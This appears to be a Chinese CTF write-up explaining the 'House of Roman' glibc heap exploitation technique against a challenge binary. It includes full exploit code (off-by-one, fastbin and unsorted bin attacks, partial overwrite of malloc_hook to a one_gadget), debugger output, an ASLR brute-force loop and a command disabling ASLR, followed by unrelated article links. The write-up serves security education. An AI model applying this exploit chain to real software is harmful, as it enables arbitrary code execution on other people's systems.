House of Roman 实战
前言
这是前几天国外一个 老哥 提出的一种思路 ,学习了一下感觉其中的堆布局的手法还不错,做个分享与记录。
这种利用手法的主要特点是不需要 leak libc
的地址,通过 堆内存的布局 和 堆相关的漏洞(uaf
等) 就可以 getshell
。下面一个示例的题目为例介绍一下
相关文件位于
http://t.cn/Ru0eX62
漏洞分析
查看开启的保护措施
04:44 haclh@ubuntu:house_of_roman $ checksec ./new_chall
[*] '/home/haclh/workplace/house_of_roman/new_chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开了 pie
.
程序主要就三个功能
Malloc
, 用户输入size
, 然后malloc(size)
, 大小不限Write
, 往指定heap_ptr
写入size+1
字节数据,一字节溢出Free
, 调用free
释放掉heap_ptr
,不过没有清零,double free
和uaf
(Write
时只是校验 指针是否为0
).
漏洞利用
思路
因为没有 leak
的机会,同时还还有 aslr
, 因为 aslr
随机化的 比特数是有限的, 低 12bit
的随机化程度还是比较小,这就给了爆破的机会。
House of Roman
的一个核心思路就是利用 局部写 减少随机化的程度,从而给出爆破的可能。
程序开了 pie
,一般的思路就是 写 malloc_hook
或者其他的一些 hook
, 然后触发 malloc
, getshell
。
其中如果是
64
位程序,通过malloc_printerr
触发malloc
,基本可以稳定getshell
。
总的一个利用步骤如下 (chunk
指的是 malloc
源码中的 chunk
,包含元数据)
- 首先分配
3
个chunk (A , B, C)
,大小分别为0x20, 0xd0, 0x70
- 在
B + 0x78
处设置p64(0x61)
, 作用是fake size
,用于后面 的fastbin attack
- 释放掉
B
,B
进入unsorted bin
, 此时B+0x10
和B+0x18
中有main_arean
的地址 - 再次分配
0xd0
, 会分配到B
, 此时B+0x10
和B+0x18
中main_arean
的地址依然存在 - 然后分配
3
个0x70
的chunk (D , E, F)
, 为后续做准备 - 在
A
触发 单字节溢出,修改B->size = 0x71
. 然后释放C , D
, 此时C , D
进入fastbin
, 同时D->fd = C
. 由于chunk
之间的相对偏移固定,于是利用uaf
修改D->fd
的低 字节 ,使得D->fd=B
- 此时
B->size = 0x71
,同时B + 0x78
为p64(0x61)
(第2步设置), 这就成功伪造了一个0x70
大小的fastbin
。 此时B->fd
为main_arean
的地址,于是通过 修改 低2
个字节,可以修改到malloc_hook - 0x23
处 (malloc_hook - 0x23 + 0x8
处的值为p64(0x7f)
) - 然后分配
3
次0x70
的chunk
, 就可以拿到包含malloc_hook
的chunk
, 此时malloc_hook
内容为0
- 然后利用
unsorted bin
修改malloc_hook
内容为main_arean
的地址 - 利用部分写修改
malloc_hook
为one_gadget
- 多次释放一个指针,触发
double free
异常,进而触发malloc_printerr
,getshell
下面根据 exp
具体看看。
exp分析
分配 3
个 chunk
,在 B + 0x78
处设置 p64(0x61)
, 作用是 fake size
,用于后面 的 fastbin attack
create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2) # 0x70
info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61) ## fake size
edit(1,fake)
info("fake")
释放掉 B
, 然后分配同样大小再次分配到 B
, 此时 B+0x10
和 B+0x18
中有 main_arean
的地址。分配 3
个 fastbin
,利用 off by one
修改 B->size = 0x71
free(1)
create(0xc8,1)
create(0x65,3) # b
create(0x65,15)
create(0x65,18)
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
info("利用 off by one , chunk 1's size --> 0x71")
生成两个 fastbin
,然后利用 uaf
,部分地址写,把 B
链入到 fastbin
free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk'1 链入到 fastbin 里面")
调试看看此时 fastbin
的状态
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
0x80: 0x0
0x555555757020
就是chunk B
然后通过修改 B->fd
的低 2
字节, 使得 B->fd= malloc_hook - 0x23
# malloc_hook 上方
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)
info("部分写,修改 fastbin->fd ---> malloc_hook")
然后分配 3
个 0x70
的 chunk
,就可以拿到 malloc_hook
所在的那个 chunk
.
create(0x65,0)
create(0x65,0)
create(0x65,0)
info("0 拿到了 malloc_hook")
然后 free
掉 E
,进入 fastbin
,利用 uaf
设置 E->fd = 0
, 修复了 fastbin
(好思路)
free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")
然后是 unsorted bin 攻击,使得 malloc_hook 的值为 main_arena+88
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
info("unsorted bin 使得 malloc_hook 有 libc 的地址")
利用 修改 malloc_hook
的低三个字节 ,使得 malloc_hook
为 one_gadget
的地址
over = "R"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)
info("malloc_hook to one_gadget")
然后 free
两次同一个 chunk
,触发 malloc_printerr
, getshell
free(18)
free(18)
上面的偏移为一次调试所得,开启 aslr
后,需要跑很多次 (碰运气, 写个脚本重复执行
#!/bin/bash
for i in `seq 1 5000`; do python final.py; done;
跑啊跑就出 shell
总结
总的思路就是 部分地址写 + 爆破 绕过 aslr
. 其中的有趣的部分是堆布局,利用 off by one
伪造 fastbin
链 , 利用 unsorted bin attack
设置 libc
的地址的部分。
调试 pie
程序,关了 aslr
方便调试
echo 0 > /proc/sys/kernel/randomize_va_space
参考
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc
https://github.com/romanking98/House-Of-Roman
House of Roman 实战的更多相关文章
- [实战]MVC5+EF6+MySql企业网盘实战(2)——验证码
写在前面 断断续续,今天算是把验证码的东东弄出来了. 系列文章 [EF]vs15+ef6+mysql code first方式 [实战]MVC5+EF6+MySql企业网盘实战(1) [实战]MVC5 ...
- webpack4入门到进阶案例实战课程
愿景:"让编程不在难学,让技术与生活更加有趣" 更多教程请访问xdclass.net 第一章 webpack4前言 第一集 webpack4入门到进阶案例实战课程介绍 简介:讲述w ...
- SSH实战 · 唯唯乐购项目(上)
前台需求分析 一:用户模块 注册 前台JS校验 使用AJAX完成对用户名(邮箱)的异步校验 后台Struts2校验 验证码 发送激活邮件 将用户信息存入到数据库 激活 点击激活邮件中的链接完成激活 根 ...
- GitHub实战系列汇总篇
基础: 1.GitHub实战系列~1.环境部署+创建第一个文件 2015-12-9 http://www.cnblogs.com/dunitian/p/5034624.html 2.GitHub实战系 ...
- MySQL 系列(四)主从复制、备份恢复方案生产环境实战
第一篇:MySQL 系列(一) 生产标准线上环境安装配置案例及棘手问题解决 第二篇:MySQL 系列(二) 你不知道的数据库操作 第三篇:MySQL 系列(三)你不知道的 视图.触发器.存储过程.函数 ...
- Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- 给缺少Python项目实战经验的人
我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...
- asp.net core 实战之 redis 负载均衡和"高可用"实现
1.概述 分布式系统缓存已经变得不可或缺,本文主要阐述如何实现redis主从复制集群的负载均衡,以及 redis的"高可用"实现, 呵呵双引号的"高可用"并不是 ...
- Linux实战教学笔记08:Linux 文件的属性(上半部分)
第八节 Linux 文件的属性(上半部分) 标签(空格分隔):Linux实战教学笔记 第1章 Linux中的文件 1.1 文件属性概述(ls -lhi) linux里一切皆文件 Linux系统中的文件 ...
随机推荐
- 【Java】认识 JDK,JRE,JVM
JDK,JRE,JVM 今天我们讨论下这三个Java工具 JDK 全称Java Development ToolKit(Java 开发工具包). JDK是整个JAVA的核心,其包括了Java运行环境( ...
- JDBC链接oracle数据库
package test; import java.sql.* ; public class JDBC_Test { //orcl为oracle数据库中的数据库名,localhost表示连接本机的or ...
- mysql5.6常用查询sql
查看连接数,状态 1.查询进程 show processlist 查询到相对应的进程===然后 kill id 2.查询是否锁表show OPEN TABLES where In_use &g ...
- 基于flex的不定个数的按钮组
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...
- C/C++程序调试和内存检测
程序出现错误很正常,一个优秀的程序员必须学会调试,发现错误并改正.减少程序错误最有效的方法是:在敲代码之前,多花点时间思考,如何构造程序,数据结构和算法,尽量把细节提前写下来,可以尝试着在纸上写出核心 ...
- yum命令速查
1 yum的基本原理 CentOS可在yum服务器上下载官方网站给出的rpm给出的表头列表数据,该数据除了记载每个rpm软件的相依性之外,也说明了rpm所放置的容器(repository)所在.通过分 ...
- ibatis(sqlmap)中 #与$的使用区别
在sqlmap文件中不使用“#VALUE#”来原样(参数对应什么类型,就当什么类型,比如拼凑的内容为string则自动加上了‘’)读取,而是$VALUE$方式来读取,即不加任何的东西,比如单引号啥的, ...
- SpringBoot源码分析之SpringBoot的启动过程
SpringBoot源码分析之SpringBoot的启动过程 发表于 2017-04-30 | 分类于 springboot | 0 Comments | 阅读次数 SpringB ...
- [转]Extending the User Interface in Outlook 2010
本文转自:https://msdn.microsoft.com/en-us/library/office/ee692172%28v=office.14%29.aspx#OfficeOLExtendin ...
- ado.net中事务的使用
ADO.Net中也提供了事务处理功能,通过ADO.net事务,可以将多个任务绑定在一起,如果所有的任务成功,就提交事务,如果有一个任务失败,就讲滚回事务 执行ADO.Net事务包含四个步骤,接下来以S ...